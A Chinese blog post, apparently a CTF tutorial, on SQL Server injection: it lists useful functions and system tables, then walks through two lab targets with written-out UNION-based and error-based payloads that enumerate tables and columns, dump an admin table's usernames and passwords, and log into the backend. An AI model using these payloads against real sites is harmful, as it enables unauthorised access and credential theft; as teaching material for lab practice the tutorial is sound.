CTF-Web:SqlServer SQL 注入

相关的函数和表

SqlServer 的 SQL 注入和 MySQL 是一样的,不同在于数据库信息所在的表和一些函数不一样。

常用的函数

函数 功能
db name() 返回当前数据库的名称
host_name() 返回计算机名称
current_user 返回当前数据库的用户名
substring() 字符串截取函数
@@version 查看数据库版本
char() ASCII 转字符函数
cast(text as type) 字符类型转换,如果转换失败会将 text 结果报错显示在页面上
object_id() 根据表名返回数据库表名 ID
object_name() 根据 ID 返回数据库表名
col_name(object_id,column_id) 返回指定表中指定字段(列)的名称

内置系统表

Sysdatabases 表

Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name 数据库名。

Sysobjects 表

SQLServer 中的每个数据库内都有此系统表,存放着数据库所有的表名。主要字段有:name、id、xtype 分别是表名、表 ID、创建的对象。当 xtype='U'代表是用户建立的表。

Syscolumns 表

Syscolumns 表位于每个数据库中,存放着数据库所有的字段名。主要字段有:name、id 分别是字段名称、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 号。

SqlServer 注入样例

任务目标

靶场中的公司主页存在 SQL 注入,使用 SQL 注入知识进行一次手工注入测试。

查找注入点

打开靶场,首先先找找注入点,经判断在搜索框可能存在 sql 注入,但是没有找到传参的地方。

使用 burp 抓包,发现在 cookie 后面夹带了参数 key,值是我们传过去想要查找的值。cookie 一般是用来保持用户的登录状态,也可以存储一些变量。

判断注入类型

尝试注入个单引号闭合,网页回显 SqlServer 报错,并得到了查询的 sql 语句。

观察得到的 sql 语句,发现不是预编译的,而是通过字符串拼接来组合的,此处可以通过单引号闭合前面的语句,把剩下的语句注释掉,这样就能查询成功。

"select * from ST_tNews where ST_newstitle like '%"+result+"%'";

判断列数

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

经二分法测试,有效的列数有 6 列。


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了字符串 2 ,说明第 2 列是我们可用的。

-1%' union all select '1','2','3','4',null,'6'--

获取数据库信息

爆数据库名,用第 2 个位置作为显示位。SqlServer 的 db_name() 函数可以回显当前使用的数据库,我们将对它进行查询。

-1%' union all select null,db_name(),null,null,null,null--


接下来开始爆表名,在 sysobjects 进行查询, sysobjects 系统对象表,保存当前数据库的对象,xtype='u'表示查询的是用户创建的表名。

-1%' union all select null,name,null,null,null,null from sysobjects where xtype='u'--


st_admin 表看上去就是用户名和密码存放的表,所以接下来爆 st_admin 表的字段,在 syscolumns 中以“st_admin”的对象 id 作为过滤条件。

-1%' union all select null,name,null,null,null,null from syscolumns where id=object_id('st_admin')--

获取敏感信息

接下来我们爆出 st_admin 表中的信息,这个表有用户名和密码这种敏感信息。

-1%' union all select null,admin+pass,null,null,null,null from st_admin--


接下来找网站的后台,使用御剑进行后台扫描,直接扫描可以扫出一个 /Admin 目录。

对 /Admin 目录进行扫描,扫出后台登录界面。

使用爆出来的用户名和密码,成功登录后台。

SqlServer 盲注样例

任务目标

靶场中的订餐系统存在 SQL 注入,使用 SQL 注入知识进行一次手工注入测试。

判断注入类型

首先先找找注入点,在公告中看到文章有个 id,可能这个参数存在注入。

尝试注入个单引号闭合,网页回显 SqlServer 报错,但报错的并不是 SQL 语句。

构造一个恒假条件 “and 1=2” 使得查到的结果集为空,网页返回 SQL 语句报错信息,说明此处存在SQL 注入漏洞。

尝试使用 order by 语句,但是网页回显的报错信息不是 SQL 语句,由此可以推断该站点对一些非法字符和关键字进行了过滤。

使用 UNION 语句也是失败,说明联合查询被过滤。

使用十六进制编码也失败,看来这个过滤还是考虑的比较周到。

获取数据库名

不过由于报错信息是可见的,所以可以使用报错过滤,这是利用了数据库的报错。将我们想要获取的信息显示在报错信息上的方法。此处构造表达式“1=(select db_name())”,由于这个表达式不合法,执行时会出错,所以这个出错的内容就会回显,就获取了数据库名。

?id=1 and 1=(select db_name()) --

获取表名

使用相同的方法查找表名,但是由于返回值不唯一导致报了另一个错。

为了使返回值仅有一个条目,限制返回的记录是top 1,也就是查询到的第一条记录。

?id=1 and 1=(select top 1 name from sysobjects where xtype=u) --


此处直接传参数“u”会报错,可以使用十六进制转码再查询。

?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75) --


如果想要获取其他行,就需要添加一个过滤条件排除前面几行的返回。

?id=1 and 1=(select top 1 name from sysobjects where xtype=0x75 and name not in (select top 1 name from sysobjects where xtype=0x75)) --


可以使用 brup 抓包,然后将包发到测试器中,设置有效载荷在过滤条件里面。通过过滤条件依次排除前 n 行,就能获取第 n+1 行数据。

设置填充的数据为 1~30。

为了方便观察,设置返回的数据显示 title 标签。

进行攻击,可以看到获取了所有可以看到的表的表名。

获取字段名

接下来查询字段名,由于此处要用 sl_admin 表名作为过滤条件,需要根据 SqlServer 的编码进行转码。

使用相同的方式在syscolumns表中获取字段名,过滤条件是表名对应的id。

?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))--


使用相同的方式获取其他行。

?id=1 and 1=(select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00) and name not in (select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00)))--


发送到 brup 抓包,然后用相同的方式获取所有行。

posted @ 2022-01-14 14:32  乌漆WhiteMoon  阅读(1229)  评论(0编辑  收藏  举报